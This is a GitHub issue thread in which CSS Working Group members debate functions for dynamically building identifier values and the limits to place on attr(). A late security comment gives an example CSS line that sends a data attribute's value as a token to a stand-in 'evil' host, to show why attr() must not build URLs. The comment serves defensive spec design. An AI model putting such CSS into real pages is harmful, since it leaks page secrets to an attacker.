w3c / csswg-drafts

CSS Working Group Editor Drafts
https://drafts.csswg.org/
Other
4.36k stars 641 forks source link

[css-values] A way to dynamically construct custom-ident and dashed-ident values #9141

Open bramus opened 11 months ago

bramus commented 11 months ago

(This proposal has some overlap with https://github.com/w3c/csswg-drafts/issues/542, but that one is specifically about string concatenation. This proposal is about using concatenation to construct custom-idents and dashed-idents)

In many CSS features, authors need to give elements a certain name so that they can later refer to those targeted elements. Think of container-name, view-transition-name, view-timeline-name, scroll-timeline-name, etc. Depending on the property these names are of the type <custom-ident> or <dashed-ident>. These names need to be unique (within the feature that’s being used). In case of View Transitions and Scroll-Driven Animations this uniqueness can become burden for authors.

Take this Scroll-Driven Animations example, where the author is setting a unique timeline name per element, using :nth-child():

.parent {
  timeline-scope: --tl-1, --tl-2, --tl-3;
}

nav {
  li:nth-child(1) { animation-timeline: --tl-1; }
  li:nth-child(2) { animation-timeline: --tl-2; }
  li:nth-child(3) { animation-timeline: --tl-3; }
}

main {
  div:nth-child(1) { view-timeline: --tl-1; }
  div:nth-child(2) { view-timeline: --tl-2; }
  div:nth-child(3) { view-timeline: --tl-3; }
}

Same with View Transitions, where I’ve seen this code in the wild

        &:nth-child(1) {
          view-transition-name: opt-1;
          & > label {
            view-transition-name: opt-1-label;
          }
          & > input {
            view-transition-name: opt-1-input;
          }
        }
        &:nth-child(2) {
          view-transition-name: opt-2;
          & > label {
            view-transition-name: opt-2-label;
          }
          & > input {
            view-transition-name: opt-2-input;
          }
        }
        &:nth-child(3) {
          view-transition-name: opt-3;
          & > label {
            view-transition-name: opt-3-label;
          }
          & > input {
            view-transition-name: opt-3-input;
          }
        }

To make things easier for authors, it would be nice if they could dynamically construct <custom-ident> or <dashed-ident> values. I am thinking of two functions:

The functions can accept an arbitrary number of arguments, but need at least 1. The arguments are of the type <string> or a function that generates string-like values (*).

With sibling-index() being accepted, the first example could be simplified as follows:

nav li {
  animation-timeline: dashed-ident("tl-", sibling-index()); }
}

main div {
  view-timeline: dashed-ident("tl-", sibling-index());
}

Ideally, the output of calc() and attr() would also be allowed as arguments into the proposed functions.

(*) Maybe this last part needs an explicit cast to string, which is covered in https://github.com/w3c/csswg-drafts/issues/542. Or ff the casting of the arguments would be too difficult to do, maybe some value interpolation could be used? In that case the functions would accept only 1 argument, e.g. dashed-ident("tl-{sibling-index()}").

argyleink commented 11 months ago

yes! i have many use cases for this 🙂 it would really DRY up my styles.

[i asked about this](https://github.com/w3c/csswg-drafts/issues/4559#:~:text=what%20if%20I%20want%20to%20create%20an%20ident%20that%20uses%20the%20sibling%2Dindex()) at the end of presenting sibling-index(), thank you so much for formalizing it and articulating the space so well 🙏🏻

bramus commented 10 months ago

While building https://codepen.io/bramus/pen/mdabWzr earlier today I came to the realisation that sibling-index() won’t cut it in the case of View Transitions. If one, for example, inserts a node in a list at position x then all indexes after that position would get shifted, essentially breaking the View Transition for all those elements.

Instead, something like random() should be used, as that one is able to generate a value per element. However, it might lead to clashes in case it generates the same value twice, so it’s not 100% closing. Maybe we also need something like unique() as that is guaranteed to not generate duplicate values.

All this to say that my initial “Ideally, the output of calc() and attr() would also be allowed as arguments into the proposed functions.” might be a requirement from the start.

noamr commented 9 months ago

I love this! especially for #8320, in conjunction with #8319. A few nits:

e.g.:

ident("song" attr(id) "-" counter(foobar)) would return e.g. song300-1

vmpstr commented 9 months ago

Might also consider something like an iota() that would just be a single :root-level counter that increments after each use. I like leaning into counters here, since we need to be a bit careful about style containment.

unique() works too though

bramus commented 9 months ago

(#) Not sure if it needs to be dashed-ident or simply ident() that joins

I split out both because they return a different value. But I think I am misunderstanding what you are saying here.

(#) For concatenation I would use space separation rather than comma, the same way concatenation works for content

Good suggestion!

(#) All this to say that my initial “Ideally, the output of calc() and attr() would also be allowed as arguments into the proposed functions.” might be a requirement from the start.

Since attr() comes with its own set of challenges, authors initially can work around it by setting a custom prop to some sort of identifier, and use that in ident(). For example:

#item-x { --id: x; }
#item-y { --id: y; }
#item-z { --id: z; }

.item
    view-transition-name: ident("item-" var(--id));
}
LeaVerou commented 9 months ago

I’m not sure if the best solution is a way to construct dynamic idents, or just better scoping for these features. E.g. what if nesting these inside other rules also scoped their idents?

With dynamic idents authors still need to think of a way to ensure uniqueness, which increases cognitive overhead, and is error prone.

noamr commented 8 months ago

I’m not sure if the best solution is a way to construct dynamic idents, or just better scoping for these features. E.g. what if nesting these inside other rules also scoped their idents?

Can you please elaborate? I don't fully understand.

With dynamic idents authors still need to think of a way to ensure uniqueness, which increases cognitive overhead, and is error prone.

In light of #8319, the ident itself doesn't have to be unique (for view transitions). I get the issues with this but not the alternative (yet).

Right now authors still need to ensure uniqueness but they have to do that with JS or on the server, this allows them to do this in css directly. Happy to discuss alternatives!

bramus commented 3 months ago

(#) I’m not sure if the best solution is a way to construct dynamic idents, or just better scoping for these features. E.g. what if nesting these inside other rules also scoped their idents?

Can you please elaborate? I don't fully understand.

I think @LeaVerou means that if names could be contained/scoped by whatever trigger, that would open up the way to safely allow duplicate names to exist alongside each other.

While that would work in some cases – i.e. where children look up the DOM tree to get access to a thing with a certain name – it does not work when all those named items are part of bigger whole.

For example: View Transitions with many cards still need a unique name on each card as they all participate in the same VT, or ScrollTimelines that all need to be hoisted up to a shared parent via timeline-scope, same with anchoring, etc.

(#) With dynamic idents authors still need to think of a way to ensure uniqueness, which increases cognitive overhead, and is error prone.

They already need to think about uniqueness in many cases (names for view-transition elements, containers, timelines, anchors, custom properties, etc). The solution that is pursued here would allow authors to dedupe a lot of repetitive uniqueness.

E.g. things like this:

/* This requires uniqueness in HTML and CSS */
#item-1 { --item-id: item-1; }
#item-2 { --item-id: item-2; }
#item-3 { --item-id: item-3; }
#item-4 { --item-id: item-4; }

/* This requires uniqueness only in HTML, as CSS can access those values */
.item { --item-id: ident(attr(id)); }
noamr commented 3 months ago

@bramus what does the ident() function add here? Why not use strings, and turn it into an ident automatically when the property expect an ident (e.g. view-transition-name)

bramus commented 3 months ago

Parsing purposes. Think of shorthands, such as scroll-timeline.

With ident():

Without ident():

noamr commented 3 months ago

Parsing purposes. Think of shorthands, such as scroll-timeline.

With ident():

  • scroll-timeline: inline ident("tl-" var(--id))
  • scroll-timeline: ident("tl-" var(--id)) inline

Without ident():

  • scroll-timeline: inline "tl-" var(--id)
  • scroll-timeline: "tl-" var(--id) inline

Sure, though perhaps these can work without the ident function when it's not in a shorthand.

scroll-timeline-axis: inline;
scroll-timeline-name: "tl-" var(--id);
/* or */
scroll-timeline: inline ident("tl-" var(--id));
noamr commented 2 months ago

So summarizing the discussion here and in #8320 into a proposal:

So this for example would work:

section {
  --the-id: id();
  --the-name: data(name); /* the data-name attribute value */
}

section .thumbnail {
  view-transition-name: "thumb-" var(--the-id) "-" var(--the-name);
  view-transition-class: any-thumbnail ident("th-" data(some-data-attr));
}

This still means that developers would need to figure out how unique IDs are created, but I don't see a way around it yet.

Loirooriol commented 2 months ago

Use id() and data(foo) functions that generate idents from attributes

If data() reads arbitrary data-* attributes, I don't think it should produce an ident, at least by default.

If a property accepts a single ident and nothing else, the ident function can be implied

This seems like a huge forwards-compatibility problem.

noamr commented 2 months ago

Use id() and data(foo) functions that generate idents from attributes

If data() reads arbitrary data-* attributes, I don't think it should produce an ident, at least by default.

What should it be? A string? In what properties would this string be used? Perhaps it can have a special type, something like attribute-value that can be used inside ident() and perhaps later on inside url()?

If a property accepts a single ident and nothing else, the ident function can be implied

This seems like a huge forwards-compatibility problem.

Fair enough. We can decide this on a case-by-case basis or always require ident().

Loirooriol commented 2 months ago

What should it be? A string?

Yeah. Well in fact I don't see the need for data() if you can use attr(data-name ident)

Perhaps it can have a special type, something like attribute-value that can be used inside ident()

If ident() concatenates a list of strings or idents into an ident, then no new type seems needed.

perhaps later on inside url()?

I would prefer some explicit way of concatenating strings into a string, which you may then use inside url().

ident("song" attr(id) "-" counter(foobar))

Be aware of #1929. And this would be circular:

counter-reset: ident("c" counter(c0)) 1;

At first there is no instance of c0 so counter(c0) is 0, but then this produces counter-reset: c0 1 so now it becomes counter-reset: c1 1, etc.

noamr commented 2 months ago

What should it be? A string?

Yeah. Well in fact I don't see the need for data() if you can use attr(data-name ident)

The point of data() and id() is so that we don't have to allow any arbitrary attribute. It's a narrower-scope alternative to attr() which never matured/took off.

bramus commented 2 months ago

Well in fact I don't see the need for data() if you can use attr(data-name ident)

attr() comes with a bunch of security concerns, so I must say I like the proposed data() function. It narrows things down in scope – it only works on data-* attributes – allowing it to land. Later on, it can be turned into an alias for attr(data-name ident) if that ever becomes a thing.

Be aware of https://github.com/w3c/csswg-drafts/issues/1929. And this would be circular:

counter-reset: ident("c" counter(c0)) 1;

I would assume those declarations to become IACVT.

SebastianZ commented 2 months ago

perhaps later on inside url()?

I would prefer some explicit way of concatenating strings into a string, which you may then use inside url().

String concatenation is discussed in #542 and there was a resolution to add an explicit function for that.

Sebastian

LeaVerou commented 2 months ago

I would be much more in favor of shipping attr() support with a whitelist (the approach we’ve followed with style() queries and plan to follow with inherit() too) than expanding the language’s API surface for temporary reasons.

And yes, +1 to being able to create idents (but please, not just strings, let’s not repeat the same mistakes as content.

noamr commented 2 months ago

So distilling the proposal based on the above feedback:

How do people feel about ident("--" ...) vs dashed-ident(...) (or --(...)) ? I have a preference for a dashed-ident function but maybe it's a bit verbose/technical?

tabatkins commented 2 months ago

I would be much more in favor of shipping attr() support with a whitelist

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

How do people feel about ident("--" ...) vs dashed-ident(...)

My initial reaction is that we don't need a special function just to save adding an initial "--" argument. We can always revisit in the future, but this seems like a very narrow convenience feature to justify.

LeaVerou commented 2 months ago

I would be much more in favor of shipping attr() support with a whitelist

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

Oof, generating data: URIs was one of the primary use cases though. 😢 Any chance it can depend on the protocol, so that data: URIs can still be allowed? What type of whitelisting do you mean by "unless whitelisted"?

My initial reaction is that we don't need a special function just to save adding an initial "--" argument. We can always revisit in the future, but this seems like a very narrow convenience feature to justify.

Agreed.

tabatkins commented 2 months ago

See #5092 for discussion on the security concerns, I just made some edits and posted a comment today.

(And no, I doubt data urls would be safe to allow, since you could then just inject the attr() value into a more active URL inside the data url and still exfiltrate the data.)

kizu commented 2 months ago

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

Good to hear! My main concern for only allowing data- attributes were custom elements, where authors are free to name their attributes as they like, and it might be very useful to also use these values in CSS. Requiring using data- attributes for custom elements would feel weird.

I think it would still be ok to disallow certain attributes (value, nonce, but maybe this will be included in the “some restrictions”?), at least initially.

Thinking of data: URIs, what if… we would allow using only data-attributes for them? This could be a good compromise, and rather easy for authors to remember, as an important nuance of how attr() works (data: and data-).

This way the more simple cases with almost any attribute in attr() for simple values will be covered, and already a more complicated case of data: URIs will still be possible, but with limitations.

Alternatively (or, in addition?), could limiting the types allowed for constructing data: URIs be enough to work around its potential issues? In my practice, in almost any use case I had, the only thing I wanted was an ability to pass a color or a dimension to an SVG. Allowing only <integer>, <length> and <color> as values for data: URIs should not be more insecure than what is already possible with the attribute selector.

That said, given data: URIs are a much more complicated case, I think it could be ok to first do this without them. This way, the authors could already start using attributes for other use cases, and we could work out what we can do with the data: URIs without blocking the feature completely.

SebastianZ commented 2 months ago

In my practice, in almost any use case I had, the only thing I wanted was an ability to pass a color or a dimension to an SVG.

This use case is already covered by linked parameters.

How do people feel about ident("--" ...) vs dashed-ident(...) (or --(...)) ? I have a preference for a dashed-ident function but maybe it's a bit verbose/technical?

An explicit keyword dashed could also be an option. No strong opinion on that, though.

Sebastian

noamr commented 2 months ago

Yup, some of our internal security folk were finally able to give a "probably okay" to attr() with some restrictions (mainly, not capable of making a url, unless whitelisted). I'll be working on updating the spec for this Soon. No need to make a new attr().

Good to hear! My main concern for only allowing data- attributes were custom elements, where authors are free to name their attributes as they like, and it might be very useful to also use these values in CSS. Requiring using data- attributes for custom elements would feel weird.

Can be id, data-*, and any custom-element observed attribute. But seeing where we landed in #5092 this might not be necessary.

I think it would still be ok to disallow certain attributes (value, nonce, but maybe this will be included in the “some restrictions”?), at least initially.

There is no issue with the value attribute - it doesn't expose the value entered by the user (only the default value). I think actually nonce is the only sensitive attribute ATM.

Thinking of data: URIs, what if… we would allow using only data-attributes for them? This could be a good compromise, and rather easy for authors to remember, as an important nuance of how attr() works (data: and data-).

I don't think that's necessary. These subtle restrictions are going to make this feature more difficult to use.

tabatkins commented 2 months ago

Requiring using data- attributes for custom elements would feel weird.

Note that data-* attributes are not safer to use, as this comment (and several others) seems to be implicitly assuming. They are, in fact, the most dangerous attributes to use, because they're the most likely to contain application-specific data that might be sensitive. The quickest path to an exploit with this feature is background-image: src(string("http://example.com/evil?token=" attr(data-foo)));; nearly any other usage or attribute is going to be dramatically safer. ^_^

There's only a handful of built-in attributes that have the potential to carry sensitive data: nonce, value attributes if you're using them to load up sensitive data at page load, and probably src/href values, particularly for scripts.

(So, no, limiting data uris to being constructed only with data-* attributes is not a useful harm reduction. ^_^)